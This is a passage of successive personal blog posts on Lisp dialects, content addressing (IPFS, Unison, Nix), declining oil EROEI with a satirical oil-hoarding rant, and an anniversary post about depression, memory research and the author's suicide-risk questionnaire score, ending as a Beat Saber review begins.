While C++ and Go are in the same family of C, they are completely different languages are require a paradigm shift in thinking (and in the language itself) to learn and use one from the other. Scheme and Clojure, on the other hand are still technically different languages that attempt to do very different things, but they're both dialects of Lisp so it's incredibly easy to go from one to the other.

You could argue that this is a bad thing. That natural languages only have so many dialects because language is an important part of culture and different dialects naturally occurs because of that. But bytes have no culture, and having so many (too many I would argue) slightly different variations of the same language provides none of the benefits and all of the negatives: like sowing dissent on the "other" and believing you're better than someone just because they use a dialect you don't.⁽³⁾

And let's not forget The Lisp Curse.

Since making Scheme object-oriented is so easy, many Scheme hackers have done so. More to the point, many individual Scheme hackers have done so. In the 1990s, this led to a veritable warehouse inventory list of object-oriented packages for the language. The Paradox of Choice, alone, guaranteed that none of them would become standard.

You know what? You're absolutely right, we don't need a thousand different Lisp dialects. But don't you think that the fact that you can even do this is…

COOL AS FUCK.

Okay, okay, I'll admit, it's not all sunshine and rainbows here in the Lisp cult. Don't tell the other members I'm saying this because they might get mad and lock me up, but there are some downsides to Lisp.

The first is that since Lisp is still a relatively niche language, the ecosystem isn't quite there compared to the big boys. The tooling is good, but still a bit lacking. I blame this on most Lisp programmers using Emacs⁽⁴⁾ and hogging all the good tools, leaving us Vimmers with our sub-standard scripting language to rot. This isn't an issue with Lisp but with people, but it's still important.

Also Clojure is run on the JVM which means it can tap into any Java class. So like… just use that if you're afraid there aren't enough libraries.⁽⁵⁾

The second issue is that even though it's super extensible, you can't extend it into a lower level language like Rust (and get the same benefits as a systems language). But who actually cares? Only insane people who have seen horrors beyond our comprehension are able to do systems programming.

So actually, I've changed my mind, the only problem Lisp has is that people don't use it.

Cough, cough.

If you want recommendations with Lisp:

• Start with learning Clojure.⁽⁶⁾
  • Maybe watch Rich Hickey's (creator of Clojure) talk, "Simple Made Easy". It isn't about Clojure but it is a very good introduction to many of Clojures' concepts.
• Or read the Scheme book. Most people start learning Lisp with Scheme because it's a small language.
• For fellow Vimmers:
  • conjure helps with REPL development for evaluating code within your running program.
  • clj-kondo (Clojure only) is an almost required linter to help identify silly mistakes.
  • Parinfer and its Vim plugin parinfer-rust is especially important as it makes writing Lisp a thousand times easier.

Once you're comfortable with your Lisp dialect of choice, make sure you start a blog where the only content is:

• A post describing the static site generator you made in Lisp⁽⁷⁾ that your blog uses and;
• A post describing why Lisp is the best language.

With that, the cycle of the Lisp cult can continue.

Also, the quote at the start is from Brian Hayes, "The Semicolon Wars" and the thumbnail is xkcd 297.

This is most problematic with the slugs I use for the post path. Have you noticed that the previous post is on the path /post/invest_in_oil, but has very little to do with investing except for a joke at the end? That's because the post went through 3 rewrites and I was too lazy to change the file name of the markdown document from my first draft.

If you've been here for a long time, you might also remember that the path to each post was on /article/ instead of /post/. I've changed this location some time ago, but apparently some search engines still link to the old path, forcing me to set-up a redirect from /article/ to /post/ or people would be directed to a dead link.

If you've assigned a label to a thing and that thing changes, are you supposed to give it a new label or just try to tell people that the label means something different and hope they understand? What happens if a label is incorrect from inception, but it caught on so people just keep using it?⁽¹⁾

There's a very simple answer to all of these: don't have labels and describe things by what they are.

How would this work? Let's look at some examples.

IPFS

IPFS (the InterPlanetary File System) is a hypermedia distribution protocol addressed by content and identities. It enables the creation of completely distributed applications, and in doing so aims to make the web faster, safer, and more open.

IPFS is a distributed file system that seeks to connect all computing devices with the same system of files. In some ways, this is similar to the original aims of the Web, but IPFS is actually more similar to a single BitTorrent swarm exchanging Git objects. You can read more about its origins in the paper IPFS - Content Addressed, Versioned, P2P File System.

This is what the web should be. IPFS is a peer-to-peer (p2p) storage network. Content is accessible through peers located anywhere in the world, that might relay information, store it, or do both. IPFS knows how to find what you ask for using its content address rather than its location.

I highly encourage you to read more about it. HTTP is a flawed protocol and IPFS eliminates the need for websites to have a central origin server, making it perhaps our best chance to entirely re-architect the Internet — before its own internal contradictions unravel it from within. I'm only going to talk about content addressing here, but there is a lot more that makes it work.

IPFS uses content addressing to identify content by what's in it rather than by where it's located. With HTTP (and every file system based on the Filesystem Hierarchy Standard), we identify content by it's location, e.g:

• https://justin.duch.me/post/content_based_identification
• /Users/justin/dev/github.com/beanpuppy/justin.duch.me/_posts/2021-03-03-content_based_identification.md

By contrast, every piece of content that uses the IPFS protocol has a content identifier, or CID, that is its hash. Many distributed systems make use of content addressing through hashes as a means for not just identifying content but also linking it together - everything from the commits that back your code to the blockchains that run cryptocurrencies leverage this strategy. However, the underlying data structures in these systems are not necessarily interoperable.

This is where the Interplanetary Linked Data (IPLD) project comes in. IPLD translates between hash-linked data structures allowing for the unification of the data across distributed systems. IPLD provides libraries for combining pluggable modules (parsers for each possible type of IPLD node) to resolve a path, selector, or query across many linked nodes, allowing you to explore data regardless of the underlying protocol. IPLD provides a way to translate between content-addressable data structures: "Oh, you use Git-style, no worries, I can follow those links. Oh, you use Ethereum, I got you, I can follow those links too!"

IPFS/IPNS hashes are big, ugly strings that aren't easy to memorize. So IPFS gives us DNSLink which allows you to use the existing Domain Name System (DNS) to provide human-readable links to IPFS/IPNS content. It does this by allowing you to insert the hash into a TXT record on your nameserver.

With this, IPFS has archiving and permanency in built into the protocol. Let's say this post has a CID like F6450F3FB903⁽²⁾, which would be the hash of all the text in here. Someone can then pin it to their node and start serving the post as well (as they should). Now, If I were to change anything in this post I would get a completely new CID, maybe something like 4F579386372C. But the other nodes will still be serving the old post F6450F3FB903.

So while I didn't really do anything, the nature of the protocol saved the history of this post.

Of course, people want to update and change content all the time and don't want to send new links every time they do it. This is possible with IPFS in a number of ways, such as using a Mutable File System (MFS) or the previously mentioned DNSLink.

It's important to remember in all of these situations, using IPFS is participatory and collaborative. If nobody using IPFS has the content identified by a given address available for others to access, you won't be able to get it. On the other hand, content can't be removed from IPFS as long as someone is interested enough to make it available, whether that person is the original author or not. Note that this is similar to the current web, where it is also impossible to remove content that's been copied across an unknowable number of websites; the difference with IPFS is that you are always able to find those copies.

Unison

Unison is a functional, typed language largely influenced by Haskell, Erlang and a research language called Frank. Unison treats a codebase as an content addressable database where the "content" is a function definition. In Unison, the "codebase" is a somewhat abstract concept (unlike other languages where a codebase is a set of files) where you can inject definitions, somewhat similar to a Lisp image.

One can think of a program as a graph where every node is a definition and a definition's content can refer to other definitions. Unison content-addresses each node and aliases the address to a human-readable name.

When writing a new function, Unison calculates the hash of the implementation and instead of storing text files, what you save in the code base is the abstract syntax tree (AST) of the function, where references to other functions are made using the corresponding hashes. In this way, a management of the codebase is achieved that allows, among other things, the following:

• Not having to recompile anything
• Trivial renaming
• Cache test results
• Eliminate dependency conflicts
• Persistent typing and simple storage

The Unison codebase is append only so definitions are never modified or deleted, only new ones are added, which means it can be versioned and synchronised with Git or similar tools without ever generating conflicts, and many types of information can be cached without worrying about invalidation.

The Unison codebase manager is the piece that makes all these things possible by storing the AST and becoming the only source of truth and not relying on textual representations found in text files. The human readable names you give are stored separately from the definitions, so renaming is fast and 100% accurate because Unison only needs to change the name associated with the hash in one place.

We're used to thinking of a program as a thing that describes what a single OS process will do, and then using a separate layer of technologies outside of our programming languages to "configure" many separate programs into a single distributed, elastic "system". This gets complicated. The core language of Unison starts with the premise that no matter how many nodes a computation occupies, it should be expressible via a single program, not many separate programs. Unison programs can describe their own deployment, elastically scale and orchestrate themselves, and deploy themselves in parallel onto any number of nodes for execution.

Since Unison is based of Haskell, it has a ML/Haskell type syntax which can be off-putting for some people. But because the codebase is actually just an AST, it would technically be possible to have many different syntaxes for the codebase manager to translate into an AST. There doesn't look like there's been that much activity on that front from the creators, but it is planned and is something I am very interesting in seeing be done and I'll be keenly following it's progress in the GitHub issue.

Speaking of GitHub, one disadvantage that Unison has is that it doesn't really work with Git repo viewers like GitHub. Since Unison doesn't really deal with text files, there's no way to actually view the codebase of a Unison project with GitHub as you can see by their base libraries. It seems there will need to be a special GitHub-like site for Unison that integrates the Unison codebase manager.

This isn't a programming language post, so I skipped out on any code snippets, but I'd recommend reading the tour to learn more.

Nix

Nix is a purely functional package manager. Which means packages are built by functions that don't have side-effects, and they never change after they have been built. Nix stores packages in the Nix store, usually the directory /nix/store, where each package has its own unique subdirectory such as:

/nix/store/b6gvzjyb2pg0kjfwrjmg1vfhh54ad73z-firefox-33.1/

Where b6gvzjyb2pg0… is a unique identifier for the package that captures all its dependencies (it's a cryptographic hash of the package's build dependency graph). Like all the others I've talked about, this gives us some cool and powerful features.

Again, Nix is much more than content addressing, and NixOS is a completely declarative OS (which is arguably much more exciting), but content addressing is an important part of it and what we're here for, so I'm mainly going to talk about that.

With Nix, you can have multiple versions or variants of a package installed at the same time. This is especially important when different applications have dependencies on different versions of the same package — it prevents the "DLL hell". Because of the hashing scheme, different versions of a package end up in different paths in the Nix store, so they don't interfere with each other.

It also gives easy multi-user support. This means that non-privileged users can securely install software. Each user can have a different profile, a set of packages in the Nix store that appear in the user's PATH. If a user installs a package that another user has already installed previously, the package won't be built or downloaded a second time. At the same time, it is not possible for one user to inject a Trojan horse into a package that might be used by another user because the hash would become different.

Since package management operations never overwrite packages in the Nix store but just add new versions in different paths, they are atomic. So during a package upgrade, there is no time window in which the package has some files from the old version and some files from the new version — which would be bad because a program might well crash if it's started during that period. And since packages aren't overwritten, the old versions are still there after an upgrade. This means that you can rollback to the old version.

Nix is also extremely useful for developers as it makes it easy to automatically set up the build environment for a package. In Nix, you can look at any package and compute the entire dependency graph. This graph includes not only the names of the packages, but also precisely which version⁽³⁾ of each package was used as a build input. This goes for both build inputs and runtime dependencies.

Thanks to Nix's enforced determinism, you can trivially build container environments (and all of their required packages) in parallel across a fleet of build machines, similar to Docker.

In a container environment, Nix allows you to share packages with the host machine, and then each Nix container you spin up has the necessary runtime dependencies bind-mounted into the container's root file system. As a result, Nix has much better de-duplication (read: zero) than Docker. Also, by the same graph traversal mechanism, it's trivial to take any environment, serialize the runtime dependency graph, and send that graph to another machine, back it up somewhere, create a bootable ISO for CD/USB, do whatever.

These containers perform better than Docker as they don't use virtualisation and for multi-container deployment, there is NixOps. You write some Nix files describing the VMs you want to deploy, and run a bash command to deploy them to various back-ends (AWS, Azure, etc…). Again, the big difference here is that you can incrementally modify these VMs in a safe way using Nix. If you change your deployment config file, Nix will figure out something has changed, and modify the corresponding VMs to achieve the desired state.

Everything I've shown is still new and early in development. Nix is probably the most robust of the bunch, but even then it can get confusing as hell. Now obviously you can't content address everything, unless we start figuring out how to hash physical objects, but content addressing and declarative systems are very interesting concepts I'd like to see in more things.

I think there's something to be said about how content addressing has enabled so many benefits in different ways to a variety of projects. You could easily apply it to real life, where you can say that: the descriptiveness of natural languages makes casual, arbitrary names of abstract concepts too ambiguous and open to interpretation. So referring to something by what it is rather than what it's called is generally better.

Or in another, simpler way:

PLEASE STOP CALLING YOURSELF AN ANARCHO-CAPITALIST.

Oil's EROEI has been steadily decreasing from about 35:1 in 1999 to 18:1 in 2006^[1] and with some estimates now having it down to as low as 6:1^[2]. For comparison, meta-analysis of EROEI values for nuclear energy suggests a mean EROEI of about 14:1^[3]. And wind power has a high EROEI value, with the mean perhaps as high as 18:1^[4], although wind power is heavily dependant on location.

Solar photovoltaics (PV) have a much more contested EROEI. Calculations on PV EROEI can have wildly different assumptions and methodologies employed and the EROEI values calculated. But Bhandari et al.^[5] calculated the mean value using data from 231 articles and gave PVs an EROEI of around 11:1.

Anyway, a rapidly declining EROEI for oil is obviously bad news for oil companies. This is all compounded with a sharp decrease in oil demand due to [waves arms in the general direction of 2020], where at its worst, global demand dropped by 29 million barrels a day^[6].

We've hit peak oil.

Even BP expects that we'll never hit pre-2019 levels of oil demand ever again^[7]. And because pandemic is expected to affect demand for a long while, companies are expected to start going belly up^[8].

Neat huh? I bet you're thinking something like this now:

"Oh cool! We're becoming less dependant on oil and fossil fuels in general! I bet we're going to start seriously investing in renewables which have an even higher EROEI! What a fun and positive post this is."

Unfortunately for you, it isn't so simple.

Renewable technology is currently in high demand and is expected to become higher, but the construction of this infrastructure requires energy, and energy is a commodity that looks like it will soon be in very short supply.

By the time energy demand starts to grows again, many oil companies will have either gone bankrupt or had to start cutting costs, which means our oil production abilities will have plummeted. Unless there's a massive breakthrough in renewables and they start giving us much better EROEIs over shorter periods of time, we can't expect renewables to be able to replace fossil fuels without severe losses in energy, let alone keep up demand.

EROEIs are calculated over the lifespan of the resource (for PVs, a common measurement is 30-40 years). So since it can be estimated that PV requires 3-4 years worth of its own energy output to fabricate, including the frames and associated electronics systems^[9]. Then, we can use some basic math to get an EROEI of 10:1. Note that all of the energy invested is for the initial production of the PV, and it does not require any more energy after it's set up. So it's sort of like an investment that needs time to pay itself back.

Let’s say that our nation (or world) uses 100 units of fossil fuel energy one year, and expects to get only 98 units the following year. We need to come up with 2 units of replacement energy within a year’s time to fill the gap. If, for example, the replacement:

• has an EROEI of 10:1;
• requires most of the energy investment up front (solar panel or wind turbine manufacture, nuclear plant construction, etc.);
• and will last 40 years,

then we need an up-front energy investment amounting to 4 year’s worth of the new source’s output energy. Since we require an output of 2 units of energy to fill the gap, we will need 8 units of energy to bring the resource into use.

Of the 100 units of total energy resource in place in year one, only 92 are available for use—looking suddenly like an 8% decline. If we sit on our hands and do not launch a replacement infrastructure, we would have 98 units available for use next year. It’s still a decline, but a 2% decline is more palatable than an effective 8% decline. Since each subsequent year expects a similar fossil fuel decline, the game repeats. Where is the incentive to launch a new infrastructure?

This is the energy trap.

Another aspect of the trap is that we cannot build our way out of the problem. If we tried to outsmart the trap by building an 8-unit replacement in year one, it would require 32 units to produce and only dig a deeper hole. The essential point is that up-front infrastructure energy costs mean that one step forward results in four steps back, given EROEI around 10:1 and up-front investment for a 40 year lifetime. Nature does not provide an energy financing scheme. You can’t build a windmill on promised energy.

Conventional economists do not readily recognize the tight coupling between energy and the economy primarily because of the perceived abundance of fossil fuels that has allowed energy to be considered a necessary economic factor of production but in sufficient reserve quantities, that, like oxygen, can be accessed as necessary.⁽¹⁾

We've been on an energy binge for the past 200 years and now we're at the end. With our previous surplus of energy made by energy sources with much higher EROEIs than they are now, our current up-front energy investment in renewable infrastructures have not been an issue. People have been expecting "peak oil" and the energy trap for years, but it's been delayed once before by fracking increasing the EROEI on some reservoirs, and again by shale oil picking up as a potential abundant source of oil whenever the price of crude oil rises.

But these are just delays, it's still going to happen. Oil (and other fossil fuels) are finite, we will run out (or rather, run out of sources that are economically viable). And if we don't have the renewable infrastructure to replace it, this can only mean sky-rocketing energy prices and a global recession.

The easiest way to stop it is to reduce the energy demand, create another surplus, and (this is the most important part) start increasing investments in renewables dramatically.

Sgouridis et al.^[10] determined that in order for a sustainable energy transition to occur, a "significant increase in the renewable energy investment ratio (ε), ranging from 4 to 10 times higher than its current value", and to help "the concept of a 2000 W society (per person) has been proposed as a target for industrialized countries implying a reduction from 50% to 90% of per capita energy consumption from current figures."

This pandemic would have been (and maybe still is since it's still going on) a good time to go all in on renewables, but I don't think anyone's done that (or will).

And we certainly aren't going to lower demand any time in the future once it's over, especially if we keep an economic and political system that requires constant growth.

Joseph Tainter, author of "The Collapse of Complex Societies"⁽²⁾, has said that "it is usually not possible for a society to reduce its consumption of resources voluntarily over the long term." He has explained this in a 2009 speech at the 94th Annual Meeting of Ecological Society of America in New Mexico. This is an extract of the transcript⁽³⁾.

Many advocates of sustainability will find it disturbing that long-term conservation is not possible. Naturally we must ask: Are there alternatives to this process? Regrettably, no simple solutions are evident. Consider some of the approaches commonly advocated:

1. Voluntarily Reduce Resource Consumption. While this may work for a time, its longevity as a strategy is constrained by the fact that societies increase in complexity to solve problems. Resource production must grow to fund the increased complexity. To implement voluntary conservation long term would require that a society be either uniquely lucky in not being challenged by problems, or that it not address the problems that confront it.

2. Employ the Price Mechanism to Control Resource Consumption. This is currently the laissez-faire strategy of industrialized nations. Since humans don’t commonly forego affordable consumption of desired goods and services, economists consider it more effective than voluntary conservation. Both approaches, however, lead eventually to the same outcome: As problems arise, resource consumption must increase at the societal level even if consumers as individuals purchase less.

3. Ration Resources. Because of its unpopularity, rationing is possible in democracies only for clear, short-term emergencies. This is illustrated by the reactions to rationing in England and the United States during World War II. Moreover, rationed resources may become needed to solve societal problems, belying any attempt to conserve through rationing. Something like this can be seen in the fiscal stimulus programs enacted recently.

4. Reduce Population. While this would reduce aggregate resource consumption temporarily, as a long-term strategy it has the same fatal flaw: Problems will emerge that require solutions, and those solutions will compel resource production to grow.

5. Hope for Technological Solutions. I sometimes call this a faith-based approach to our future. Members of industrialized societies are socialized to believe that we can always find a technological solution to resource problems. Technology, within the framework of this belief, will presumably allow us continually to reduce our resource consumption per unit of material well-being. Conventional economics teaches that to bring this about we need only the price mechanism and unfettered markets. The flaw here was pointed out by William Stanley Jevons: As technological improvements reduce the cost of using a resource, total consumption will actually increase.

In conclusion, sustainability is not the achievement of stasis. It is not a passive consequence of having fewer humans who consume more limited resources. One must work at being sustainable. The challenges that any society (or other institution) might confront are, for practical purposes, endless in number and infinite in variety. This being so, sustainability is a matter of solving problems.

"Wow, this doesn't look very good at all. I thought you said this was a positive post?! Did you lie to me?"

No, of course not, I've LITERALLY never told a lie in my entire life before. This post does have a happy ending, bear with me.

It's my birthday.today and every year instead of food, or money, or anything I actually need, I've always wished people would just give me OIL.

Crude oil is actually my favourite fossil fuel BY FAR. I understand that just having a favourite fossil fuel⁽⁴⁾ at all might sound strange considering half the posts on this blog are rants about climate change, but who cares when this black gold will one day make me RICH.

No matter which way we go in attempt to solve this problem (if we even attempt it), either way, you're going to need oil in the future so where will you get it from?

ME!

With oil's diminishing EROEI and plummeting demand, I'm going to get in while prices are low and buy up a MASSIVE reserve of oil. So when demand comes back, and the poor little oil companies STRUGGLE to produce oil for a profit because their infrastructure has ROT and all the easy to access oil spots have DRIED up, I'll be the only able to satisfy the demand of the MARKET because my reserve is "pre-energy-invested". And you can be sure that I'm going PRICE GOUGE THE SHIT OUT OF EVERYONE.

Oh boo hoo, you'll have to go through a severe economic recession in an increasing hostile climate, probably leading to the complete collapse of civilisation all together. Why should I care, if GOD EMPEROR ELON MUSK will take me an every other RICH person to MARS? Because unlike you PEASANTS, us RICH people actually have class consciousness.

Besides, us RICH people are going to SOMEHOW save you from all this anyway even if WE caused it. DON'T WORRY! Reusable rockets that can land in the middle of the OCEAN are ABSOLUTELY what you NEED instead of just having no rockets because that idea is STUPID.

Screw GME, all my mates invest in OIL.

Salut mon cher amie !! :3 Ow0

Aujourd'hui est le troisième anniversaire… and that's as long as I'm going to keep that up.

This blog is now 3 years old! How cool! In that time I've written 94 posts (excluding this one) totalling 99,983 words and giving a combined ~6 hours of reading time (at 270 words per minute).

The last year has been really good for this blog⁽¹⁾ as I've started to get an understanding on what I actually want to write about and how to write about it. I started this site because I wanted to try some new things after I got my first job, hence the boring technical documents. I've never enjoyed writing bland documents, and if I was still doing that I would have stopped publishing more posts a long time ago. So the past two years have just been me trying to find a reason to continue writing.

Lately, I've been trying to give some of my posts a sort of narrative "structure" instead of just being a wall of information to make it more entertaining and digestible. One thing I like to do is sometimes open with something that is sort of irrelevant to the actual post and in the end make a callback to it which ties everything together. Like it's sort of a twist, where you go "oh so I guess the entire first 3 paragraphs weren't a complete waste of my time!" I don't know if there's a word for that, the closet I could think of was "foreshadowing" but I'm not too sure about that.

I still think 90% of everything I write is trash that is unfunny and boring, but I feel like I've been improving (maybe?) at least.

And speaking of trash that is unfunny and boring, last year's anniversary post is firmly in that 90% pile. I've went and read it again in preparation for this year and holy shit why did I even bother to write that. I'm not going to link it here, but I don't delete any posts after they've been published so if you want it, you can go find it yourself.

It did give me some ideas on what to write about though. I think I'd like to have these posts be more about me, this is a personal blog after all, I talk in first person and pretty much always refer to you directly here.

So this is another post about depression.

Here's a fun fact: depressed people have trouble remembering fine details of events they've experienced.^[1]

I only learnt about this two or so months ago. It seemed really applicable to me because I have difficulty in remembering events even as lately as a couple years, but I've always assumed that my memory was bad because it was just like that.

One of the more unhelpful things people say to me as an attempt to cheer me up (or something, I honestly have no idea) is to try to remember happy things that have happened. But to be honest, I only have one memory that I can recall somewhat fondly.

That is, a trip to Japan and seeing a coffee siphon for the first time. Which I'm fairly sure I only remember because the coffee siphon that I see every day in my apartment reminds me of it.

And that's really it. I only have one positive memory, everything else is either meh, or anxiety inducing. This is why trying to remember positive events is unhelpful for me, because every time I remember that I only have one I just get more upset.

So after learning about this possible explanation, I did what any normal person would do, and started reading medical journals to find out if I could figure out what was happening and why.

Many memory deficits in depression appear to be downstream consequences of chronic stress. The area of the brain dealing with learning and memory, the hippocampus, is sensitive to stress and tends to be smaller in people with depression (by nearly 20% in some people) because it suppresses neurogenesis (the process by which new neurons are formed in the brain).^[2]

This is important because new hippocampal neurons can mediate pattern separation, which is the process by which similar inputs are treated as distinct, facilitating the formation of unique representations for comparable events. Reduced pattern separation could explain why depressed people have trouble remembering the specifics of their memories as they may have trouble differentiating between them. It has also been proposed as an explanation of overgeneralised fear responses in anxiety disorders.

This can be compounded with a characteristic where depressed people tend to focus on and think about their symptoms and problems ("ruminate") more than non-depressed people.⁽²⁾ This fixation on upsetting situations or events, occupies neural resources that the brain could spend on other things, like memory.^[3]

A real cool thing is that this hippocampal atrophy seems to be permanent. In some studies the atrophy persisted for up to decades after the depressions were in remission. In addition, the extent of atrophy did not lessen with increasing duration of remission.^[4]

However, this doesn't explain everything. The overgeneralisation of memories has been found to be more evident with positive than with negative events.^[5] In fact, depressed people exhibit a worsening of their sad moods after recalling positive memories.^[6] A smaller hippocampus wouldn't really be a good explanation for this, there would be no good reason for why it would disrupt positive memories more.

Instead, the cause of this may be from stress-related inhibition of midbrain dopamine neurons which disrupt the encoding and consolidation of rewarding experiences, resulting in a positive memory deficit. A common theme in depression is anhedonia, the loss of interest, motivation, and pleasure, which is usually caused by dopamine dysfunction. So through disrupting dopaminergic reward responses, adhedonia may be the cause of the positive memory deficit by depriving the hippocampus of signals that normally trigger consolidation.

The relationship between depression and memory is bidirectional: depression affects memory, but memory problems likely exacerbate depression. A bias to repeatedly retrieve painful memories could clearly sustain a depressive episode, and failure to encode and consolidate positive memories could reinforce the anhedonia that (putatively) disrupted those processes in the first place.

That's been a fun learning experience. Now I can pick from two explanations for why I can't remember nice things: either nothing good has ever happened to me, or my brain is fucked beyond repair making me physically unable to remember them. And honestly, is there even that much of difference between them? Both explanations are just as equally horrifying as the other.

What's the point of doing enjoyable things if I can't remember them? It'll be like they never happened anyway.

Although, it is actually kinda nice to get some real details on how depression is a real biological disorder, rather than some sort of failure of fortitude or spirit. I often feel like I should be able to just be "happier" and get sad when I'm not, so it's good to have a better understanding on this. But fuck, I really wish it was actually just some failure of fortitude or spirit instead of this death spiral where just having depressive symptoms makes me even more depressed.

By now if you're an observant reader, you might already know where this is heading. This is the real reason for this blogs' existence.

The first posts on this blog were boring technical documents. But many of these boring technical documents were written so I wouldn't forget what they were about and could have a reference to them in the future. The most obvious example being the post "A Reference Of Linux Screen Commands Because I Keep Forgetting Them" with which the title specifically states that it was written because I "keep forgetting [the screen commands]".⁽³⁾

Maybe what I want to write about actually hasn't changed all that much. When I learn something new, and if I think it's important enough, I'll draft a post and publish here if it's good enough.

In the end, this site isn't really meant for the public but is for a very specific individual. It's why I don't share posts anywhere, or keep track of its' visitors. Because I already know if that individual knows about a new post, and when they've read it.

It's for future me. When I talk to "you", I always assume that you're "me". It's probably why I make these shitty jokes only I would like and very rarely explain something that I think someone should already have a basic understanding of.

I guess most people use a diary for this, but that sounds boring. And the idea (or threat) that these words could be seen by anyone in the world makes me put them under more scrutiny, similar to my reasons for writing open-source software that no one else will use.

If this was just in some diary to be locked away, I wouldn't be putting these references to journals at the bottom. But if I don't, how will you know it's correct? Maybe past me is just going through a particularly bad depressive episode and is making up a bunch of shit to screw you over.

Anyway, I think I'm getting side-tracked. The point is that, if my own brain refuses to do it, this blog would be a good way to remember "positive events". The previous post is an example of this. I've gotten over 100 hours of genuine enjoyment from Beat Saber, and although if it ever comes to it, Beat Saber probably wouldn't stop me from committing suicide. But having a lot of little things like this and that coffee siphon can go a long way.⁽⁴⁾

Don't get me wrong, every post from now on isn't going to be some wholesome, cuddly, poggers, fun trip to the zoo with the whole family. A big problem for me is that I don't do enough to actually make those "positive memories", and there's the whole dopamine dysfunction thing that's going on. In fact, overtly positive stuff is probably not going to happen at all. Besides, there's nothing like a good rant to help quell years of political rage and let off some steam.

One more thing I want to mention. I tried to figure out how bad my depression really is compared to other people. So I read this paper called "The Importance of Coping and Emotion Regulation in the Occurrence of Suicidal Behavior", which as you might imagine goes through the "importance of coping and emotion regulation in the occurrence of suicidal behaviour"… obviously.

I would recommend reading it for yourself, unlike some of the other papers, this one is an easy read.

The introduction states that "researchers have established risk factors associated with suicide including depression, poor coping abilities, higher avoidance of stressors, and a lack of close social relationships", which kinda sucks, because I have all of those, but let's move on. The parts I was interested in was how they determined suicidal behaviour and where I'm placed on the spectrum (of not suicidal to suicidal).

So from their study:

Suicidal behavior was measured using the Suicidal Behaviours Questionnaire–Revised (SBQ-R; Osman et al., 2001). This is a 4-item inventory that measures past, current, and future suicidal thoughts and attempts. Item 1 measures lifetime SI and/or suicide attempts, item 2 assesses the frequency of SI in the previous 12 months, item 3 quantifies the threat of a suicide attempt, and item 4 is the self-reported likelihood of future suicidal behavior.

I did some research on the "Suicidal Behaviours Questionnaire–Revised" to see how reliable it is, and it seemed okay. Continuing reading:

Each question is answered using a Likert scale and the scale for each question differ slightly. The scales range from a minimum of 0 to a maximum of 6, with lower numbers indicating a relatively low risk of suicide. Total scores on the questionnaire range from 3 to 18 and represent overall suicide risk whereby higher scores represent greater risk. Scores of 7 or above indicate significant risk of suicidal behavior.

The results for this study had "70 participants (59.83%) who scored below 7 on the SBQ-R (median = 4.00, range = 3–6), and a total of 47 participants (40.17%) who scored higher than 7 (indicating a relatively high suicide risk (median = 9.00, range = 7–15)." Keeping in mind these are 117 students from The Open University in Hong Kong (51 males, 69 females) which were recruited for this study using convenience sampling, so it would include some non-depressed people.

Yet more fun when we read that "suicidal behaviour was positively correlated with avoidance coping", which is not good for a person with social anxiety, as it is a thing I do constantly.

Another study with 400 women admitted to the Poisoning Emergency Hospital, Kermanshah University of Medical Sciences following failed suicide attempts had 72% of individuals with a SBQ-R score >8.^[7] Interestingly, marital status, educational level, employment and the type of psychiatric disorder had no significant influence on SBQ-R score. And a history of admission in psychiatric wards, drug abuse, and of attempted suicide among family members were also not associated with risk of repeated attempted suicide.

Right, so obviously we're going to do this questionnaire and see where we stand! Here's an archive link of one I found. Take some time to do it if you want and let's compare results!

Done?

No?

Ok, I'll wait.

Don't rush, these words will be here forever.

While I'm waiting actually, I want to talk to you. If you're here that is. Yes, "you you", not "me you". I know future me would never listen to what I'm going to say because the dude is such a dumb cunt.

Don't do what I'm trying to do. For real. It's not good to self-diagnose yourself like this. You could get incorrect information, come to the wrong conclusion, and if you attempt to do something, really mess it up and make it worse. Even if you're doing the most accurate questionnaire ever devised, you're still a unique person and can't boil down everything about your own condition in 4 questions.⁽⁵⁾

Questionnaires like these are mainly for studies that look at many people to help find common occurrences. Please go to a doctor or psychologist that can properly understand you if you need help.

Also on the off chance that you really are here, if you want someone else to talk to, you could always talk to me! ;) I have my email on this site so feel free to use it.

Cool, now that you're done, tell me what you got!

…

Huh, interesting.

Now it's my turn. For future reference, I did this on the 27th of December 2020 and my score was 15.

Yeah… not looking good huh?

Maybe I should mention that the weeks surrounding Christmas to New Year's are always the worst times of the year for me. They've been a consistent source of panic attacks and normally coincide with a real nice, long depressive episode. But I don't actually think the answers I gave would have changed even if I was feeling slightly better at the current time. It's a test on suicidal behaviour - past, present, and future, and not a test on how sad I am right now.

Ah bon, c'est la vie! See you next time I guess.

Epilogue

This part is just so people don't get spoiled if they click one of the references up top and then jump down here. What do you wanna talk about?

Oh why the title is called that? Sure.

Well, you see… I wanted to write a really long title because I thought it would be funny. So I wrote that. And red pandas are my favourite animal, because they're cute as heck and it seems like all they do is sleep and eat bamboo/grapes. What a life.

The alt title is absolutely the better title, which is why I wanted to keep it, but it's just not long enough I'm afraid ;(

Hopefully this should be enough, but here is just a list of some other things I like:

• Astolfo
• Saber Astolfo
• Saber Astolfo with bunny ears
• Astolfo in casual clothes

Hey have I mentioned that I'm bi? I think I had it in the about me page, but I trimmed that down to be barely anything. Don't think I've ever said it outright in a blog post and have only made some hints to it. Yeah, I guess this is me saying it then.

…

What a fucking weird turn this post has taken. Can't wait until next year when I'll think writing this was also a mistake.

I'm back from my month long depressive episode. Let's talk about video games.

Back in March of last year, I bought an Oculus Quest as a joke for this blog. Okay, maybe not as a captial J "Joke", but I was mainly expecting it to be a "Half-Life: Alyx" machine seeing as I wasn't really interested in any other VR games. I've heard lots of people also say that "Beat Saber" is one of the must have VR games so I got that too, thinking I would only play it for like 5 hours before I got bored (if you have read the post, you should know that I'm not really into rhythm games).

But it turns out that headcrabs scare the shit out of me so I never finished HL:A. And instead Beat Saber is now 1 hour away from being my most played single player⁽¹⁾ game on Steam.

So I've replaced my crippling fear of headcrabs with a crippling addiction to cutting cubes.

Beat Saber is probably the most fun game I have ever played⁽²⁾ and because of this, 2020 has had me do the most excersise I've ever done in my life. I'll be the first to freely admit that once I started playing the harder songs, a particuarly long session would make me want to pass out.

Should I have been playing this game so much that it made me want to pass out? No, that's really unhealthy. But let me tell you it was the most fun I've ever had while wanting to pass out before. However, now as I've played more I must have gotten more stamina or something, so unfortunatly my limbs just die instead of wanting to faint >:(

During the resting times when I would take a break from the game because everything hurt, I started to look at other games in the Vertical Scrolling Rhythm Game (VSRG) genre. This post is going to be a look at the ones I've played, and maybe ones I haven't but want to.

Beat Saber

Obviously we have to start here, partly because it's the one I've played the most and partly because I've not actually explained what the game is in this or the post before. I am very sorry if you have no idea what I've been talking about this entire time, so I would like to give you my apology:

